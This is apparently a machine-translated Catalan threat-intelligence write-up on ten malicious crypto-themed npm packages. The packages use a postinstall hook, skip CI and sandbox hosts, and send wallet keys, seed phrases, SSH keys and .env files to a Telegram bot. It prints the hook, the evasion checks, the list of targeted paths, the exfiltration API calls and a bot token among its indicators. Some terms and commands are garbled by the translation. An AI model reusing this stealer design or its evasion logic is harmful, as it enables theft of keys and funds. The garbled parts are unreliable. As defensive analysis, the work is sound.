SeedSweep: Deu paquets de criptomonedes npm maliciosos

SeedSweep: Deu paquets npm amb temàtica criptogràfica que només s'executen quan ningú els mira

TL; DR

El 9 de juny de 2026, un únic compte d'editor npm, aicrypto-xzggg, enviat deu paquets amb noms amb gust de criptografia i Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, i sis més.

Cada paquet executa la mateixa càrrega útil des d'un postinstall hook. Durant la instal·lació, comprova si s'està executant dins de CI o d'un sandbox; si no, llegeix els magatzems de claus de cartera, els fitxers de frases llavor, les claus SSH i .env fitxers de sis ecosistemes blockchain i els transmet a un bot de Telegram.

L'únic indicador que un defensor pot buscar immediatament és l'ID del bot de Telegram. 8227918239.

Severitat: crític — robatori directe de claus de signatura i frases de recuperació de estacions de treball de desenvolupador.

L'atac: com funciona

Els paquets s'anuncien com a utilitats per a desenvolupadors de blockchain. paquet.json és mínim i apunta el cicle de vida de la instal·lació a un script:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstal·lació.js és un shim d'una sola línia que carrega la càrrega útil real: require("../src/index.js"). Perquè postinstal·lació s'executa automàticament durant npm instal·lar, no cal que el desenvolupador importi codi: només cal col·locar el paquet en un arbre de dependències per executar-lo.

La cadena de mort a l'interior src/index.js són quatre passos:

  1. Comprovació de l'entorn. Una funció de guarda decideix si l'amfitrió té l'aspecte d'un agent de compilació o d'un espai de proves d'anàlisi.
  2. Retard. L'execució s'ajorna darrere d'un setTimeout d'aproximadament 7.4 segons.
  3. Col · lecció. Es recorre una llista fixa de rutes de fitxers de cartera, clau i secrets; els fitxers existents es posen en cua.
  4. Exfiltració. Els fitxers en cua s'envien a un bot de Telegram, precedits d'un missatge de resum.

La llista de destinacions de la col·lecció abasta sis cadenes més secrets genèrics de desenvolupador. Retallat:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Vint-i-una rutes en total. Entrades de directori com ara ~/.ethereum/keystore s'expandeixen i tots els fitxers que hi ha a dins es posen en cua. L'exfiltració utilitza directament l'API del bot de Telegram, una enviaMissatge trucada amb un resum de l'amfitrió i del fitxer, i després un sendDocument càrrega múltiple per a cada fitxer:

text

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

El missatge de resum que assembla el codi comença amb la cadena literal Lladre de criptomonedes, seguit del nom d'amfitrió, el nom d'usuari, el nom del paquet d'origen, el recompte de fitxers i la marca de temps.

Què hi ha de nou aquí?

El diferenciador no és el mecanisme de robatori: exfil basat en Telegram de npm postinstal·lació hooks està ben trepitjat. És el porta d'execució. Abans de fer res, la càrrega útil crida una funció que retorna true quan l'amfitrió s'assembla a un executor de CI o a un sandbox, i retorna aviat quan ho fa:

text

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

La clàusula notable és l'expressió regular de l'ID del contenidor: un nom d'amfitrió de 12 caràcters hexadecimals és la forma predeterminada que Docker assigna a un contenidor, de manera que la càrrega útil tracta "el meu nom d'amfitrió sembla un contenidor Docker" com una raó per romandre inactiu. Combinat amb el retard de set segons, el disseny afavoreix l'execució a l'estació de treball real d'un desenvolupador i la retenció de silenci en qualsevol lloc que sembli una anàlisi automatitzada. Aquesta porta és la que va suprimir els senyals d'anàlisi dinàmica i va mantenir el flux d'exfil estàtic com a principal prova de convicció.

Línia de temps

Data (UTC)esdeveniment
2026-06-09 ~02:48Primers paquets del clúster marcats en la publicació (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25Membres amb versions superiors marcats (ethereum-kit-9 a 1.25.36, wallet-sdk-9 a les 3.7.73:XNUMX)
2026-06-09 ~03:58–03:59Membres finals marcats (defi-tools-39 a 4.26.29, swap-sdk-87 a 4.63.78, farming-tools-12 a les 4.68.54:XNUMX)
2026-06-09Tots deu classificats com a maliciosos i reportats per a la seva eliminació al registre

Tots deu van aparèixer en uns setanta minuts, cosa que concorda amb una única tirada de publicació amb guió d'un sol compte.

Indicadors de compromís

Indicadors de xarxa i comportament (amfitrió desactivat):

IndicadorValor
Punt final d'Exfilapi[.]telegram[.]org (API del bot de Telegram)
ID del bot de Telegram8227918239
Testimoni del bot8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID de xat de Telegram6433587894
Instal·la el ganxopostinstallscripts/postinstall.jssrc/index.js
Cadena de marcadorsCRYPTO STEALER en el missatge resum recopilat
Editoraicrypto-xzggg (correu electrònic indicat vipsyria88@gmail[.]com, sense verificar)

Paquets i versions, cadascun amb el SHA-256 del seu src/index.js càrrega útil (les càrregues útils són funcionalment idèntiques i només difereixen en l'etiqueta del nom del paquet incrustat, de manera que cada hash és diferent):

html
paquetversionSHA-256 de src/index.js
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Una consulta de caça senzilla: cerca els registres d'instal·lació i els fitxers de bloqueig per a qualsevol dels deu noms i cerca el trànsit de sortida per a connexions a l'API del bot de Telegram des d'amfitrions de compilació o de desenvolupador que no l'utilitzen d'altra manera.

Atribució i comportament observat

Els deu paquets van ser publicats per un sol compte, aicrypto-xzggg, el correu electrònic indicat del qual és vipsyria88@gmail[.]comTant el correu electrònic com l'enllaç de control de la font no estan verificats a les metadades del registre i el compte té una puntuació de reputació molt negativa. No hem confirmat qui gestiona el compte.

Cal separar dos detalls de qualsevol reivindicació d'identitat. Primer, el paquet.json autor lectures de camp Alex Smith a cada paquet, mentre que el compte de publicació real és aicrypto-xzggg; el camp d'autor són metadades autodeclarades i no estableixen l'autoria. En segon lloc, els números de versió varien molt: alguns membres es troben a 1.0.0, altres a 4.68.54 — la qual cosa és coherent amb la reutilització d'una única càrrega útil en noms de paquets recentment creats en lloc de mantenir els historials de llançaments reals.

El comportament és uniforme a tot el clúster: la mateixa llista de rutes de destinació, el mateix ID de bot de Telegram i ID de xat, la mateixa porta d'entorn, el mateix Lladre de criptomonedes marcador. Aquesta uniformitat és el vincle més fort entre els paquets. És un senyal del mateix operador, no una identitat.

Impacte, tendències i orientació per a defensors

L'exposició és concreta. Un desenvolupador que instal·la qualsevol d'aquests paquets en una estació de treball que conté una cartera de programari, un fitxer de frases llavor o una clau SSH fa que aquests fitxers siguin llegits i transmesos des de l'amfitrió en qüestió de segons. Les frases de recuperació i les claus de signatura no caduquen com ho fa un testimoni de sessió; un cop un mnemònic.txt o una Solana id.json surt de la màquina, els fons que controla estan en risc fins que es mouen. La mateixa execució també captura .NS fitxers, que normalment contenen claus API i credencials de base de dades.

Dues tendències s'amaguen darrere d'aquest clúster. La primera és l'ús continu de noms amb temàtica criptogràfica i Web3 per atraure un públic específic: desenvolupadors que mantenen moneders i claus a la mateixa màquina on instal·len dependències. La segona és la maduració de l'evasió de sandbox en càrregues útils en temps d'instal·lació. Una porta que comprova les variables d'entorn de CI, els noms d'usuari de l'executor i una forma de nom d'amfitrió d'ID de contenidor de Docker és un esforç deliberat per comportar-se de manera diferent durant l'anàlisi que en una estació de treball real, i eleva el llistó per a la detecció purament dinàmica.

Per als defensors:

Instal·lació amb els scripts desactivats per defecte. instal·lació de npm –ignore-scripts, o conjunt ignora-scripts=true in .npmrc, prevé postinstal·lació execució; habilitar els scripts només per a les dependències específiques que realment els necessiten.

Mantingueu les carteres i les claus de signatura fora de les màquines de compilació i desenvolupament. Feu servir una cartera de maquinari o un amfitrió de signatura dedicat i sense dependències.

Tractar .NS, magatzems de claus i fitxers de frases llavor com a joies de la corona. Mai no haurien de seure en un directori que també sigui un npm instal·lar arbre de treball.

Busca connexions sortints a l'API del bot de Telegram des d'amfitrions de CI i desenvolupadors. La majoria d'entorns de compilació no la criden mai; val la pena investigar-ne un que ho faci de sobte, just després d'una instal·lació.

Fixa i revisa les dependències. Un paquet nou de trinca amb un nom criptogràfic genèric, un postinstal·lació hook, i cap enllaç de repositori no justifica una mirada abans d'entrar a un fitxer de bloqueig.

La clàusula d'evasió de l'ID del contenidor també és un recordatori per als analistes: una càrrega útil en temps d'instal·lació que roman inactiva en un espai de proves no és benigna, és selectiva. La revisió estàtica de la ruta d'instal·lació continua sent la manera fiable de veure què pot negar-se a mostrar l'execució dinàmica.

referències

documentació d'instal·lació de npm: scripts del cicle de vida i -ignore-scripts— referència per desactivar la instal·lació automàtica hooks. 

sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni